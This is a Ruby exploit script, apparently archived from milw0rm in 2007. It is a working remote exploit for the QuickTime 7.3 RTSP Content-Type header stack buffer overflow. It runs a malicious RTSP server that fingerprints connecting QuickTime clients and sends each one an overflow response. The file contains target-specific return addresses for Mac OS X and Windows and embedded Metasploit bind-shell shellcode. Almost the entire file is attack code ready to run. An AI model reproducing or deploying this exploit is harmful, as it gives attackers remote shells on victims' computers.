# Copyright (C) 2007 Subreption LLC. All rights reserved.
# Visit http://blog.subreption.com for exploit development notes.
#
# References:
# http://www.milw0rm.com/exploits/4648 (original Microsoft Windows code)
# http://www.milw0rm.com/exploits/4651 (recent Microsoft Windows exploit)
# From Metasploit: apple_quicktime_rtsp_response.rb (by MC and HD Moore)
# http://nvd.nist.gov/nvd.cfm?cvename=CVE-2002-0252
# BID: https://www.securityfocus.com/bid/26549
#
# Notes:
# Payload badchars: \x00 \x09 \x0a \x0d \x20 \x22 \x25 \x26 \x27 \x2b \x2f
# \x3a \x3c \x3e \x3f \x40
#
# The example addresses and data will trigger an IDS signature easily.
# Remove them if you're not testing, and change padding sizes accordingly.
# Use the String.rand_alpha() method to generate random strings.
#
# Version: 1.0 (+leopard_ppc +leopard_x86 +tiger_x86 +tiger_ppc +win_xpsp2)
#
# We would like to thank...
# Kevin Finisterre, for providing PowerPC testing environment and general
# aid in the development and proofing of this code for Mac OS X on PPC.
# HD Moore for his suggestions and Metasploit code.
#
# Distributed under the terms of the Subreption Open Source License v1.0
# http://static.subreption.com/public/documents/subreption-sosl-1.0.txt
#
require 'socket'
include Socket::Constants
def String.rand_alpha(size = 16)
(1..size).collect { (i = Kernel.rand(62); i += ((i < 10) ? 48 : ((i < 36) ? 55 : 61 ))).chr }.join
end
module MiscUtils
def self.myputs(msg)
puts "#{$0}: #{msg}"
end
# From Metasploit Rex library:
# http://metasploit.com/svn/framework3/trunk/lib/rex/arch/x86.rb
def self.rel_number(num, delta = 0)
s = num.to_s
case s[0, 2]
when '$+'
num = s[2 .. -1].to_i
when '$-'
num = -1 * s[2 .. -1].to_i
when '0x'
num = s.hex
else
delta = 0
end
return num + delta
end
end
# msf osx/x86/shell_bind_tcp - 81 bytes port=5354 + exit()
MSF_OSX_X86 =
"\x31\xc0\x50\x68\xff\x02\x14\xea\x89\xe7\x50\x6a\x01\x6a\x02\x6a" +
"\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x68\x58\xcd\x80\x89\x47\xec" +
"\xb0\x6a\xcd\x80\xb0\x1e\xcd\x80\x50\x50\x6a\x5a\x58\xcd\x80\xff" +
"\x4f\xe4\x79\xf6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" +
"\xe3\x50\x54\x54\x53\x50\xb0\x3b\xcd\x80\x31\xc0\x50\xb0\x01\xcd" +
"\x80"
# msf win32_bind - EXITFUNC=process LPORT=4444 Size=696 Encoder=Alpha2
MSF_WIN_X86 =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x37\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x42" +
"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x52\x32\x42\x42\x32\x41" +
"\x41\x30\x41\x41\x58\x42\x50\x38\x42\x42\x75\x39\x79\x4b\x4c\x61" +
"\x7a\x38\x6b\x50\x4d\x68\x68\x69\x69\x4b\x4f\x4b\x4f\x59\x6f\x53" +
"\x50\x4e\x6b\x32\x4c\x44\x64\x35\x74\x6e\x6b\x30\x45\x57\x4c\x4e" +
"\x6b\x41\x6c\x64\x45\x51\x68\x46\x61\x4a\x4f\x6c\x4b\x30\x4f\x46" +
"\x78\x6c\x4b\x71\x4f\x47\x50\x33\x31\x5a\x4b\x61\x59\x6e\x6b\x50" +
"\x34\x4e\x6b\x46\x61\x78\x6e\x50\x31\x69\x50\x4e\x79\x4e\x4c\x4b" +
"\x34\x6b\x70\x52\x54\x63\x37\x38\x41\x6a\x6a\x44\x4d\x63\x31\x6b" +
"\x72\x68\x6b\x49\x64\x77\x4b\x30\x54\x41\x34\x45\x78\x52\x55\x69" +
"\x75\x6e\x6b\x73\x6f\x75\x74\x56\x61\x7a\x4b\x33\x56\x4e\x6b\x36" +
"\x6c\x72\x6b\x4c\x4b\x53\x6f\x35\x4c\x77\x71\x38\x6b\x47\x73\x44" +
"\x6c\x6e\x6b\x4b\x39\x32\x4c\x35\x74\x77\x6c\x65\x31\x69\x53\x56" +
"\x51\x49\x4b\x65\x34\x4e\x6b\x67\x33\x34\x70\x4c\x4b\x77\x30\x74" +
"\x4c\x6e\x6b\x64\x30\x47\x6c\x4c\x6d\x6e\x6b\x41\x50\x63\x38\x53" +
"\x6e\x70\x68\x4e\x6e\x62\x6e\x56\x6e\x38\x6c\x52\x70\x6b\x4f\x7a" +
"\x76\x72\x46\x61\x43\x43\x56\x52\x48\x77\x43\x64\x72\x51\x78\x71" +
"\x67\x50\x73\x70\x32\x71\x4f\x31\x44\x4b\x4f\x4a\x70\x75\x38\x78" +
"\x4b\x68\x6d\x49\x6c\x75\x6b\x46\x30\x4b\x4f\x79\x46\x53\x6f\x6f" +
"\x79\x38\x65\x73\x56\x4c\x41\x58\x6d\x64\x48\x65\x52\x72\x75\x32" +
"\x4a\x73\x32\x49\x6f\x4a\x70\x33\x58\x78\x59\x63\x39\x39\x65\x4c" +
"\x6d\x72\x77\x6b\x4f\x6e\x36\x50\x53\x52\x73\x51\x43\x70\x53\x33" +
"\x63\x71\x53\x63\x63\x61\x53\x33\x63\x4b\x4f\x5a\x70\x73\x56\x51" +
"\x78\x37\x61\x41\x4c\x50\x66\x53\x63\x6c\x49\x5a\x41\x5a\x35\x51" +
"\x78\x4d\x74\x67\x6a\x30\x70\x4b\x77\x66\x37\x79\x6f\x4b\x66\x41" +
"\x7a\x32\x30\x72\x71\x33\x65\x59\x6f\x38\x50\x70\x68\x6f\x54\x6e" +
"\x4d\x64\x6e\x38\x69\x32\x77\x4b\x4f\x4e\x36\x51\x43\x41\x45\x39" +
"\x6f\x4a\x70\x71\x78\x4a\x45\x71\x59\x6d\x56\x43\x79\x76\x37\x4b" +
"\x4f\x39\x46\x52\x70\x72\x74\x46\x34\x31\x45\x4b\x4f\x68\x50\x4e" +
"\x73\x43\x58\x6b\x57\x71\x69\x6f\x36\x53\x49\x76\x37\x6b\x4f\x38" +
"\x56\x71\x45\x6b\x4f\x48\x50\x35\x36\x70\x6a\x31\x74\x45\x36\x31" +
"\x78\x62\x43\x32\x4d\x6f\x79\x7a\x45\x71\x7a\x30\x50\x33\x69\x46" +
"\x49\x6a\x6c\x6b\x39\x6a\x47\x73\x5a\x51\x54\x6f\x79\x6d\x32\x30" +
"\x31\x59\x50\x38\x73\x4d\x7a\x59\x6e\x43\x72\x36\x4d\x69\x6e\x73" +
"\x72\x54\x6c\x6f\x63\x4c\x4d\x72\x5a\x74\x78\x4c\x6b\x6c\x6b\x6e" +
"\x4b\x35\x38\x50\x72\x6b\x4e\x4c\x73\x64\x56\x4b\x4f\x43\x45\x32" +
"\x64\x79\x6f\x7a\x76\x33\x6b\x32\x77\x62\x72\x63\x61\x33\x61\x30" +
"\x51\x30\x6a\x53\x31\x71\x41\x46\x31\x52\x75\x32\x71\x6b\x4f\x4e" +
"\x30\x70\x68\x4e\x4d\x7a\x79\x46\x65\x4a\x6e\x72\x73\x69\x6f\x58" +
"\x56\x72\x4a\x69\x6f\x69\x6f\x66\x57\x39\x6f\x58\x50\x4c\x4b\x41" +
"\x47\x6b\x4c\x6c\x43\x4f\x34\x32\x44\x4b\x4f\x68\x56\x76\x32\x4b" +
"\x4f\x4e\x30\x71\x78\x33\x4e\x6a\x78\x49\x72\x43\x43\x61\x43\x4b" +
"\x4f\x48\x56\x69\x6f\x6a\x70\x42"
module AppleOSX
class QuicktimeRedux
TARGET_MATRIX = {
# Mac OS X Leopard on PowerPC (ppc)
"7.3-Mac 10.5.1-PPC" => {
# Stack on PPC is still executable
:ret_address => 0xbfffcb0c+50,
:padding_size => 559,
# Shellcode will -likely- require changes here
:prepend_data => (
[0xdead5841].pack("N") + # r22
[0xdead5842].pack("N") + # r23
[0xdead4141].pack("N") + # r24
[0xdead4142].pack("N") + # r25
[0xdead4143].pack("N") + # r26
[0xdead4144].pack("N") + # r27
[0xdead4145].pack("N") + # r28
[0xdead4146].pack("N") + # r29
[0xdead4147].pack("N") + # r30
[0xdead4148].pack("N") + # r31
[0xdead4150].pack("N") + #
[0xdead4151].pack("N") + #
[0xdead4152].pack("N") + # at $sp+0
[0xdead4153].pack("N") # at $sp+4
),
:append_data => (""),
:shellcode => ( "\x69" * 120 )
},
# Mac OS X Leopard on IA32 (x86) build 9B18
"7.3-Mac 10.5.1-IA32" => {
# Return-to-dyld stub is not reliable unless the machine
# hasn't randomized the dyld base address.
:ret_address => 0xdeadbeef,
:padding_size => 291,
:prepend_data => (
[0x11223344].pack("V") + # ebx
[0x41424142].pack("V") + # esi
[0x31337666].pack("V") + # edi
[0xdefacedd].pack("V") # ebp
),
:append_data => (
[0xa0a7e44a].pack("V") + # to dyld_stub_exit
[0xbffffaa3].pack("V") # address to /bin/bash
),
:shellcode => (
"screencapture -S ~/Desktop/US.png; exit;" +
("\x90" * 130) + MSF_OSX_X86
)
},
# Mac OS X Tiger on IA32 (x86) build 8S2167 (10.4.11)
# Apparently, it advertises 10.4.9 instead of 10.4.11
"7.3-Mac 10.4.9-IA32" => {
# Return-to-dyld stub works reliably on Tiger
# 0xa0be2280 for dyld_stub_system
:ret_address => 0xa0be2280,
:padding_size => 291,
:prepend_data => (
[0x917f1413].pack("V") + # ebx
[0xffffeae6].pack("V") + # esi
[0x14533050].pack("V") + # edi
[0xbfffd27c].pack("V") # ebp
),
# exit() stub is problematic with some atexit code
# because of corrupted frames, we use abort() instead.
# A /bin/bash string (from env) is usually at 0xbffffc23
# when running under gdb, or 0xbffffe5c if started
# via dock. If started from Terminal, it's at 0xbffffc3e.
:append_data => (
[0xa0815587].pack("V") + # to dyld_stub_abort
[0xbffffc3e].pack("V") # address system() command
),
# NOP sled + Metasploit shellcode + NOP sled + int3
:shellcode => (
("\x90" * 140) + MSF_OSX_X86 + ("\x90" * 30) + "\xcc"
)
},
# Mac OS X Tiger on PowerPC (PPC)
# It also advertises 10.4.9 instead of 10.4.11
"7.3-Mac 10.4.9-PPC" => {
# Stub address for system() contains a null byte.
# system() address contains filtered char.
:ret_address => 0xdeadbeef,
:padding_size => 559,
:prepend_data => (
[0xdead5841].pack("N") + # r22
[0xdead5842].pack("N") + # r23
[0xdead4141].pack("N") + # r24
[0xdead4142].pack("N") + # r25
[0xdead4143].pack("N") + # r26
[0xdead4144].pack("N") + # r27
[0xdead4145].pack("N") + # r28
[0xdead4146].pack("N") + # r29
[0xdead4147].pack("N") + # r30
[0xdead4148].pack("N") + # r31
String.rand_alpha(16)
),
:append_data => (
[0x942bce80].pack("N") + # to dyld_stub_abort
[0x58585858].pack("N")
),
:shellcode => (
"\x69" * 120
)
},
# Microsoft Windows targets
# 7.3 on XP SP2, based on the original Metasploit module by MC
# This one is elegant and reliable :)
# (uses address from QuickTimeStreaming.qtx version 7.3.0.70)
"7.3-Windows NT 5.1Service Pack 2-IA32" => {
# pop esi; pop ebx; ret
:ret_address => 0x67644297,
:padding_size => 991+MSF_WIN_X86.size,
:prepend_data => (
"\xeb" + [MiscUtils::rel_number(6, -2)].pack("V")[0,1] +
"\x90\x90"
),
:append_data => ( String.rand_alpha(4092 - MSF_WIN_X86.size) ),
:shellcode => MSF_WIN_X86
},
# 7.3 on Vista
# We are not including it yet, feel free to play around
"7.3-Windows NT 6.0-IA32" => {
:ret_address => 0xdeadbeef,
:padding_size => 991+MSF_WIN_X86.size,
:prepend_data => (""),
:append_data => ( String.rand_alpha(4092 - MSF_WIN_X86.size) ),
:shellcode => MSF_WIN_X86
}
}
# Generates headers for a Quicktime RTSP response, and injects
# the payload into the Content-Type header (including the padding).
def make_header(body_length, payload)
"RTSP/1.0 200 OK\r\n" +
"CSeq: 1\r\n" +
"Content-Base: rtsp://0.0.0.0/#{@mpfile}\r\n" +
"Content-Type: #{payload}\r\n" +
"Content-Length: #{body_length}\r\n" +
"\r\n"
end
# Generates a body for a Quicktime RTSP response
def make_body
rand_str = String.rand_alpha(rand(10)+1)
rand_nam = String.rand_alpha(rand(20)+1)
"v=0\r\n" +
"o=- #{rand(0xffffffff)} 1 IN IP4 0.0.0.0\r\n" +
"s=MPEG-1 or 2 Audio, streamed by #{rand_str}\r\n" +
"i=#{@mpfile}\r\n" +
"t=0 0\r\n" +
"a=tool:#{rand_nam}\r\n" +
"a=type:broadcast\r\n" +
"a=control:*\r\n" +
"a=range:npt=0-213.077\r\n" +
"a=x-qt-text-nam:MPEG-1 or 2 Audio, streamed by #{rand_str}\r\n" +
"a=x-qt-text-inf:#{@mpfile}\r\n" +
"m=audio 0 RTP/AVP 14\r\n" +
"c=IN IP4 0.0.0.0\r\n" +
"a=control:track1\r\n"
end
# Construct a payload without filtered characters, for the target provided.
# The information is extracted from the target matrix variable.
def build_payload(target)
target_name = "#{target[:version]}-#{target[:os]}-#{target[:arch]}"
selected = TARGET_MATRIX[target_name]
unless selected
MiscUtils::myputs "Target not available, check User-Agent format!"
MiscUtils::myputs target_name
return ''
end
MiscUtils::myputs "Building payload for '#{target_name}'..."
MiscUtils::myputs "Return address: #{sprintf("0x%08x",selected[:ret_address])}, " +
"shellcode: #{selected[:shellcode].size} bytes."
payload = String.rand_alpha(selected[:padding_size]-selected[:shellcode].size)
unless target[:os] =~ /Windows/
payload << selected[:shellcode]
payload << selected[:prepend_data]
# Handle big-endian / little-endian
if target[:arch] == "PPC"
payload << [selected[:ret_address]].pack("N")
else
payload << [selected[:ret_address]].pack("V")
end
else
payload << selected[:prepend_data]
payload << [selected[:ret_address]].pack("V")
payload << selected[:shellcode]
end
# Appended data comes always at end of payload
payload << selected[:append_data]
MiscUtils::myputs "Payload: #{payload.size} bytes (padding=#{payload[0,8]}...)"
return payload
end
# Threaded 'listener': waits until a Quicktime client connects and fingerprints
# its version, architecture and operating system version. Builds a response with
# the correct payload and sends it back to the client.
def exploit
loop do
socket = @server.accept
Thread.start do
s = socket
port = s.peeraddr[1]
name = s.peeraddr[2]
addr = s.peeraddr[3]
MiscUtils::myputs "RTSP Connection from #{name} (#{addr}:#{port})"
request = s.recv(1024)
# Verify it's Quicktime and not some other application
# ie. QuickTime E-/7.3 (qtver=7.3;os=Windows NT 6.0)
if request =~ /User-Agent: QuickTime/i
target = Hash.new
if request =~ /Windows/
qtver = request.scan(/\(qtver=(.+?);os=(.+?)\)\r\n/).flatten
target[:version] = qtver[0]
target[:arch] = "IA32"
target[:os] = qtver[1]
else
qtver = request.scan(/\(qtver=(.+?);cpu=(.+?);os=(.+?)\)\r\n/).flatten
target[:version] = qtver[0]
target[:arch] = qtver[1]
target[:os] = qtver[2]
end
MiscUtils::myputs "RTSP Request from Quicktime: #{qtver[0]} on #{qtver[3]} #{qtver[2]}"
# Build payload and the full response body
begin
payload = build_payload(target)
body = make_body()
header = make_header(body.size, payload)
resp = (header+body)
rescue
raise "Something happened trying to build a response!"
end
# Send it to the client
s.write(resp)
MiscUtils::myputs "RTSP Sent #{resp.size} bytes..."
else
# It's not a Quicktime client
MiscUtils::myputs "RTSP Connection doesn't seem to come from Quicktime!"
s.write(String.rand_alpha(rand(500)))
end
end
end
end
# Initialize the exploit with the local listening port, server socket, etc.
def initialize(rtsp_port = 554)
@server = TCPServer.new("0.0.0.0", rtsp_port)
@mpfile = String.rand_alpha(rand(12)+1) + '.mp3'
rtsp_addrs = @server.addr[2..-1].uniq.collect{|a|"#{a}:#{rtsp_port}"}.join(' ')
MiscUtils::myputs "RTSP Listening on #{rtsp_addrs}, serving #{@mpfile}"
MiscUtils::myputs "RTSP URL: rtsp://#{rtsp_addrs}/#{@mpfile}"
end
end
end
trap("INT") do
puts "Exiting!"
exit
end
puts "Quicktime 7.3 RTSP Response Content-Type Header Stack Buffer Overflow exploit"
puts "Copyright (C) 2007, Subreption LLC. All rights reserved."
test_run = AppleOSX::QuicktimeRedux.new()
test_run.exploit
# milw0rm.com [2007-11-29]